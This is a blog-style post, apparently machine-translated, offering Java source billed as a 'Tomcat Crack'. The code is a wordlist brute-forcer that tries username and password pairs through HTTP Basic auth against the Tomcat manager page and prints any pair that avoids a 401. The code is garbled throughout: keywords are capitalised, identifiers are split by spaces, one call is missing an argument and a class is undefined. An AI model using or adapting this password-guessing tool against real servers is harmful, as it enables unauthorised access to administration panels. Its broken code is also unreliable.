There is no graphic interface, and the interface will be made out in a few days. O (partition _ partition) o...
Test environment: myeclipse + jdk1.4
Made by Suzhou
Indicate the source for reprinting.
QQ: 540410588
Blog: http://hi.baidu.com/540410588/
/**
* <Pre>
* Title: HttpRequestProxy. java
* Project: Tomcat Crack For Java
* Author
* Create: 03:07:07
* Copyright: Copyright (c) 2007
* <Pre>
*/
// Package com. hengpeng. ante. http;
Import java. io. BufferedReader;
Import java. io. File;
Import java. io. FileInputStream;
Import java. io. FileNotFoundException;
Import java. io. IOException;
Import java. io. InputStream;
Import java. io. InputStreamReader;
Import java.net. HttpURLConnection;
Import java.net. URL;
Import java.net. URLEncoder;
Import org. apache. log4j. Logger;
/**
* <Pre>
* HTTP request proxy
* </Pre>
*
* @ Author benl
* @ Version 1.0,-7-3
*/
Public class HttpRequestProxy
{
/**
* Connection timeout
*/
Private static int connectTimeOut = 5000;
/**
* Data read timeout
*/
Private static int readTimeOut = 10000;
/**
* Request Encoding
*/
Private static String requestEncoding = "GBK ";
/**
* <Pre>
* Send an HTTP request with Parameters
* </Pre>
*
* @ Param reqUrl: HTTP request URL
* @ Param parameters parameter ing table
* @ Return the HTTP Response string
*/
Public static boolean doGet (String requrl, String getstr ){
Boolean flag = false;
HttpURLConnection url_con = null;
String responseContent = null;
Try
{
StringBuffer params = new StringBuffer ();
URL url = new URL (requrl );
Url_con = (HttpURLConnection) url. openConnection ();
// Url_con.set
Url_con.setRequestMethod ("GET ");
Url_con.setRequestProperty ("Connection", "Keep-Alive ");
Url_con.setRequestProperty ("Cache-Control", "no-cache ");
Url_con.setRequestProperty ("Authorization", "Basic" + getstr );
System. setProperty ("sun.net. client. defaulttimetimeout", String
. ValueOf (HttpRequestProxy. connectTimeOut); // (unit: milliseconds) Change jdk1.4 to this value, and the connection times out.
System. setProperty ("sun.net. client. defaultReadTimeout", String
. ValueOf (HttpRequestProxy. readTimeOut); // (unit: milliseconds) replace jdk1.4 with this, and the read operation times out.
// Url_con.setConnectTimeout (5000); // (unit: milliseconds) jdk
// Replace 1.5 with this, and the connection times out.
// Url_con.setReadTimeout (5000); // (unit: milliseconds) jdk 1.5 is replaced with this, and the read operation times out.
Url_con.setDoOutput (true );
Byte [] B = params. toString (). getBytes ();
Url_con.getOutputStream (). write (B, 0, B. length );
Url_con.getOutputStream (). flush ();
Url_con.getOutputStream (). close ();
If (url_con.getResponseCode ()! = 401 ){
Flag = true;
}
}
Catch (IOException e)
{
E. printStackTrace ();
}
Finally
{
If (url_con! = Null)
{
Url_con.disconnect ();
}
}
Return flag;
}
Public static void readFile (String user, String pass ){
File fileuser = new File (user );
File filepass = new File (pass );
String struser = "";
String strpass = "";
Try {
InputStream inuser = new FileInputStream (fileuser );
InputStreamReader isruser = new InputStreamReader (inuser );
BufferedReader bfuser = new BufferedReader (isruser );
String a = "";
While (struser = bfuser. readLine ())! = Null ){
InputStream inpass = new FileInputStream (filepass );
InputStreamReader isrpass = new InputStreamReader (inpass );
BufferedReader bfpass = new BufferedReader (isrpass );
While (strpass = bfpass. readLine ())! = Null ){
Byte [] result = Base64.encode (struser + ":" + strpass). getBytes ());
A = new String (result );
Boolean temp1;
Temp1 = HttpRequestProxy. doGet ("http: // localhost: 8080/manager/html/", );
If (temp1 ){
System. out. print (struser + ":" + strpass ));
Break;
}
}
}
} Catch (FileNotFoundException e ){
E. printStackTrace ();
} Catch (IOException e ){
// TODO Auto-generated catch block
E. printStackTrace ();
}
}
Public static void main (String [] args)
{
String pathuser = "D: \ mydomainsee \ MyJava \ src \ user.txt ";
String pathpass = "D: \ mydomainsee \ MyJava \ src \ pass.txt ";
HttpRequestProxy. readFile (pathuser, pathpass );
}
}